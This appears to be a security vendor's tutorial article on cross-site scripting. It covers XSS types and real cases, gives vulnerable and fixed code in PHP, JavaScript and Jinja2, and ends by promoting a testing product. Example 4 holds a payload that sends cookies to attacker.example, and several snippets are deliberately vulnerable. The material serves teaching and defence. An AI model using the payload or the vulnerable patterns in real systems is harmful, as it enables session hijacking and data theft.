Cross‑Site Scripting (XSS) is a web vulnerability where an attacker injects malicious code, usually JavaScript, into web pages that other users view. The injected code executes in the victim’s browser under the trusted site context, enabling attackers to steal cookies, hijack sessions, exfiltrate data, or perform actions on behalf of users.
Why XSS Remains a Global Problem in 2025
XSS has persisted as one of the most common web vulnerabilities for decades. It first became widely known in the late 1990s with the rise of dynamic content and user-generated input on web platforms.
Recent surveys confirm that XSS continues to affect web applications, particularly with modern frameworks, APIs, dynamic rendering, rich-text content, and third-party integrations.
Any web application that accepts user input — from comments to JSON APIs — without proper sanitization or output encoding remains at risk.

Real-World XSS Breach Examples
ERPNext / Frappe — CVE-2025-56379 Stored XSS
In 2025, ERPNext/Frappe disclosed a stored XSS vulnerability in its Blog module (versions 15.67.0 / 15.72.4). Authenticated users could inject malicious HTML/JavaScript into the content field. The payload executed in the browsers of users viewing the blog post, risking session hijacking and data theft.
This demonstrates that even well-maintained open-source platforms are vulnerable if user-generated HTML is rendered without proper sanitization.
Historic Case: Samy Worm on MySpace (2005)
The Samy worm exploited XSS in MySpace user profiles. It spread to over one million profiles in 20 hours, demonstrating how XSS can propagate rapidly and hijack user sessions.
Types of XSS and Attack Vectors
XSS comes in several variants:
| Type | Description | Typical Attack Vector |
|---|---|---|
| Reflected XSS | Payload is reflected immediately from request to response | URL parameters, search fields |
| Stored XSS | Payload is stored on server and executed later | Comments, blogs, user profiles |
| DOM-based XSS | Client-side scripts inject unsafe content | Single-page apps, URL hash, JS templates |
| Blind XSS | Payload executes without immediate feedback | Admin dashboards, logs, emails |
Modern attacks also include polyglot payloads capable of evading sanitizers and triggering blind XSS conditions. (arxiv.org)
Consequences of XSS Attacks
- Session Hijacking & Account Takeover
- Unauthorized Actions / User Impersonation
- Data Theft / Sensitive Info Exposure
- Defacement, Phishing, or Social Engineering
- Persistent Malware Delivery
Even small web applications are at risk if they display user input unsafely.
Attack & Defense Examples
Example 1 — Reflected XSS (PHP + HTML)
Vulnerable:
php
<?php $search = $_GET['q'] ?? '';?><html> <body> <p>Search results: <?php echo $search; ?></p> </body> </html>
Safer Version:
php
<?php $search = $_GET['q'] ?? '';$safe = htmlspecialchars($search, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');?><html> <body> <p>Search results: <?php echo $safe; ?></p> </body> </html>

Example 2 — Stored XSS in Comments (JavaScript + HTML)
Vulnerable Rendering:
html
<div class="comments"><p class="user-comment">{{comment_from_db}}</p></div>
Safe Rendering with DOMPurify:
html
<script src="<https://unpkg.com/[email protected]/dist/purify.min.js>"></script><script> const raw = userCommentFromServer;const clean = DOMPurify.sanitize(raw);document.querySelector('.user-comment').innerHTML = clean;</script>
Example 3 — DOM-Based XSS via URL
Vulnerable:
javascript
const msg = document.getElementById('msg'); msg.innerHTML = location.hash.substring(1);
Safe:
javascript
const msg = document.getElementById('msg'); msg.textContent = location.hash.substring(1);
Example 4 — Blind / Delayed XSS
Attack Payload:
html
<img src=x onerror="fetch('<https://attacker.example/p?c='+document.cookie>)">
Defense:
- Sanitize user HTML input on server side
- Apply strict HTML tag/attribute whitelist
- Enforce Content Security Policy (CSP)
pgsql
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'none';
Example 5 — JSON API Injection (JavaScript)
Vulnerable:
javascript
fetch('/api/user/123') .then(res => res.json()) .then(data => {document.getElementById('username').innerHTML = data.username; });
Safe:
javascript
fetch('/api/user/123') .then(res => res.json()) .then(data => {document.getElementById('username').textContent = data.username; });
Example 6 — Template Injection (Python / Jinja2)
Vulnerable:
python
from jinja2 import Template user_input = "{{7*7}}"tpl = Template(user_input)print(tpl.render())
Safe:
python
from jinja2.sandbox import SandboxedEnvironment env = SandboxedEnvironment() tpl = env.from_string(user_input)print(tpl.render())

Real-World Lessons from GitHub (2018)
GitHub had a stored XSS in Markdown rendering. Users could insert JS code in README files; any visitor opening the repository page would execute the code. GitHub fixed it by sanitizing input and restricting allowed HTML tags. (GitHub Security)
Integrating XSS Prevention in Modern Workflows
- Output encoding and sanitization across all contexts: HTML, JS, CSS, URL
- Use modern sanitizers: DOMPurify, server-side escape libraries, template engines with auto-escaping
- Apply CSP: prevent inline scripts and restrict script sources
- Automated testing: static analysis, dynamic scanning, fuzzing, blind XSS tests
- Manual penetration tests: validate complex or multi-step injection vectors
- Audit & monitor: log suspicious inputs, review admin / third-party content, enforce code reviews
Penligent Integration for Automated XSS Testing
Modern security teams can leverage intelligent penetration testing platforms like Penligent to automate XSS detection across multiple contexts:
- Continuous scanning for reflected, stored, DOM, and blind XSS vectors
- Automated payload injection and analysis
- Reporting and remediation suggestions
- Integration with CI/CD pipelines for DevSecOps workflow
Using Penligent, teams reduce manual effort, improve coverage, and ensure ongoing protection against evolving XSS threats.
Summary
- XSS remains a top web vulnerability despite decades of awareness.
- Defense requires multi-layered measures: encoding, sanitization, CSP, safe APIs, and continuous testing.
- Automated and manual testing combined provide robust protection, especially in modern dynamic applications.
- Intelligent platforms like Penligent can enhance security workflows, detecting and mitigating XSS proactively.
References
OWASP XSS Prevention Cheat Sheet

